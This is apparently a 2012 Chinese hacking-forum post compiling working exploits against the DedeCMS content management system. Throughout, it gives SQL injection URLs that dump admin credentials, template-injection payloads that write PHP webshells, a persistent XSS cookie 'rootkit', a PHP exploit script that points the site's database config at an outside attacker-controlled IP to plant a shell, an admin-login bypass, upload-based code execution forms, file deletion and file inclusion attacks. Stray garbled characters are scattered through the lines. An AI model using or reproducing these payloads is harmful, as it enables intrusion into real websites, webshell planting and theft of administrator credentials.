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标题: dedecms漏洞总结 [打印本页]

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作者: admin    时间: 2012-10-18 10:42
标题: dedecms漏洞总结

Dedecms 5.6 rss注入漏洞
1 a( k& ~9 B$ x/ m; G: Vhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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DedeCms v5.6 嵌入恶意代码执行漏洞
. }% z7 |4 [" e$ P; x" ?注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


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Dede 5.6 GBK SQL注入漏洞
0 R1 K  _5 P$ i* B9 z& ~! ehttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7




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  V- h3 v( l  k4 y0 {DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
* y/ o, U7 A& \3 Nhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php
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9 L1 i" n( t- B/ b- |3 H* Scolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
0 \/ f# Y0 q1 m/ Q<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
7 U" t$ b8 S6 q- G! lDEDEcms Variable Coverage
3 G0 x0 a9 ?; m4 C/ y! j- w# h* J5 N. oExploit Author: www.heixiaozi.comwww.webvul.com
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echo "\r\n";
if($argv[2]==null){
- e3 e4 |" B) S; ]# V) m' M+ Kprint_r('
+---------------------------------------------------------------------------+
, C# D( J7 b# i9 E0 z. bUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
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7 Y; N' ~5 _2 l3 ~+---------------------------------------------------------------------------+
');
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}
: k9 O- _3 {4 Y  e4 d# i$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
9 Q; `) ]: N, ?! ^- k$exp=Getshell($url,$aid,$path);
5 @8 l) @0 y6 W. gif (strpos($exp,"OK")>12){
+ _) ?; d7 I4 i: _! g( z0 [echo "
$ k( C% S& o  g5 EExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
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if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

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}else{
echo "
Exploit Failed \n";
}
" Q4 q7 k& _4 J" y7 i1 h- V2 n% t0 Kfunction Getshell($url,$aid,$path){
6 O/ Z/ j3 W) O8 t- q( V$id=$aid;
# V/ m) _. H' e3 J$host=$url;
# r3 b* b- i% e! `9 h- {$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
" z" T6 [3 ]1 D3 A7 w4 h* {! ^$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
+ `% v' E' x. D* _# A3 P$data .= "Host: ".$host."\r\n";
3 v( F( j0 v8 M2 T" c: P( ^$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
- F! E; o: e7 s& ]& U9 U# ~9 h$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 \; e; W4 X" t+ \2 P# f% }$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
/ g: ]* V! S! Y0 Q  ]$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
! H# N: g0 X* H$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
6 I" g" x' A& _5 Y  r8 s$data .= $content."\r\n";
$ock=fsockopen($host,$port);
! H. a( D9 P" C) r$ }if (!$ock) {
echo "
$ h. ~5 \, O7 ANo response from ".$host."\n";
/ r# q6 q8 K" v2 |+ Q}
fwrite($ock,$data);
4 R7 Q9 C6 o" u. F9 D, }$ |0 C. gwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
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?>
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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
- d; O& M! U6 r& Bhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
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7 }, `6 _5 |8 D) H- w! ?# l9 D把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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此漏洞的前提是必须得到后台路径才能实现

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; k  Z% ]# {% h8 r( V& MDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
( k8 w8 x  d# M3 V7 x# F<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
" v- R' w+ V/ `2 e- i9 |  o, J<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
6 c0 h  [) U- ]  y1 N4 n# P. s( R<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
! d6 ^0 ]  T5 ~/ D6 Z7 d+ G<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
3 P& h; C- o7 h' l3 |6 q- h<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
# K. r7 ]% ~$ x9 }1 wfunction addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
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DedeCms v5.6 嵌入恶意代码执行漏洞
  ~1 W, G: O: ]) U3 d注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
! e8 i1 r5 P; r1 T' fa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
- A5 C/ _, o8 _- Y生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
$ b$ [( z8 n# _4 N: a' n5 b注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
( O: u% K) a; W* n7 A. t) @4 \/ C% O$fp = @fopen("1.php", 'a');
! N0 X6 \- d4 |@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
& ~, P( C0 y8 B" g@fclose($fp);
) L3 U# S+ F& u{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
: |+ w4 c% C# d) z5 G<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
# j# ~7 u2 u4 L/ N) f<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

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<div id="mainCp">
# }$ @* w" S0 i2 l<h3 class="meTitle"><strong>修改文章</strong></h3>


<div class="postForm">
6 w( q8 ~6 Z4 C! h0 [# I8 v6 \: m1 Y<label>标题：</label>
/ r, X# t1 I, C0 k' p<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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) p+ H+ @  J: i9 @) N1 K' T5 c<label>标签TAG：</label>
( N0 E! [8 ^) j0 |: e5 S<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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$ D: p& Z6 c" f8 `6 K<label>隶属栏目：</label>
% I% d! [; {2 k. Q1 z8 P<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)

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<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
2 B2 V5 P0 W# P$ X" ]<option value='1' class='option3' selected>hahahha</option>
</select>

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<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
5 y" ~4 N" @# @. u# G7 V7 g(内容的简要说明)


0 g  a- _. t+ B. @$ k5 {8 H<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

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4 j. X' d5 l# J<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
$ n. g, M% E! V9 Yvalue="templet,htmltext;">（这里构造）
) U* U* P1 `+ m. i; O1 _</div>

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<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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7 r9 R% P- b% M9 N! |& m& {) y<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

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- |, B( p$ {8 a6 O6 n! `, p<button class="button2" type="submit">提交</button>
6 s6 T( ?  q$ P! o# N<button class="button2 ml10" type="reset">重置</button>
; Y3 i; ]+ q3 Z! p9 |</div>
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</div>


1 B3 G& c: k* X9 |$ B$ u% f9 g7 K0 |</form>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
$ j! |5 R' r) S2 t! L0 l8 h9 K假设刚刚修改的文章的aid为2，则我们只需要访问：
2 W$ n- w) E2 S' J. f# M# Rhttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php



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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
( t; V  W0 H1 D7 c) pphpinfo();
6 z7 K4 q; t4 k% A( z: F{/dede:field}
+ j2 s; Q3 }4 D保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
4 ?* r. \# ~" C* T3 W<input type="hidden" name="aid" value="7" />
" x2 ?7 |6 R" J5 q<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
, l4 z0 L5 {6 U. W0 z: b<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
. D7 [4 w9 _7 B6 N6 e: O8 ?<input name="addonfile" type="file" id="addonfile"/>
; h+ \7 Y& l: `6 u1 f# f2 B" S& H& O<button class="button2" type="submit" >更改</button>
</form>

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" u; h* Q3 W* D  Y) o* L: E构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：

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, b/ q2 L. q% i& R<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
. _  F8 g. ^0 W- w<input type="hidden" name="aid" value="2" />
0 @/ x0 U- _& T<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
  I9 H+ G6 w$ }% k" k* Q6 ]) {<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
* C# {( g$ ~& m& y2 n/ f<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
  p9 p6 @% h, E3 p) o; P6 Y  A<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
' f' K2 W/ R" D1 A<option value='0' selected>请选择分类...</option>
5 k) @; T4 x0 S: P<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
$ {% C( y/ h5 ~<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>

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织梦(Dedecms)V5.6 远程文件删除漏洞
; D4 u, N) a: O5 m5 Rhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif


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: [  {) \( ^1 b/ J$ C4 }织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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6 V$ k: E6 y/ ]DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5



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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
% Y6 M7 C1 {$ N# J; Q<html>
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<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
- G, ?; i1 r; j% P</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
6 P+ r* @+ P/ @8 }8 y3 S3 M; D2 Q$ I<input type='hidden' name='activepath' value='/data/cache/' />
4 {) U4 K2 Z+ H: i2 k# e3 u<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
% u" T) r% K8 Q0 H2 O4 I4 o<input type='hidden' name='cfg_softtype' value='php' />
- H# X6 Q7 C; m; H% T) O3 v<input type='hidden' name='cfg_mediatype' value='php' />
7 `) n8 s% A5 }8 E# [1 P<input type='hidden' name='f' value='form1.enclosure' />
: f, V& X* F# o1 Z1 o6 ]+ C<input type='hidden' name='job' value='upload' />
* H5 u* _. O5 i2 q" }<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
# b5 Q/ z) u) K8 W9 j9 V! U<input type='submit' name='sb1' value='确定' />
</form>
$ C! A1 r: P8 }; G<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
- k# l0 W, D& b利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
: C; r/ B1 G9 k& x2 q1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
$ A% _9 J8 g, D" i" ~/ Q- cError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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- V! x/ W8 Z- c/ V  Z3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

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按确定后的看到第2步骤的信息表示文件木马上传成功.
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5 d* `( |! T" E3 d, ?1 |织梦(DedeCms)plus/infosearch.php 文件注入漏洞
+ S5 y5 Y: M9 U0 N* x0 m( ahttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

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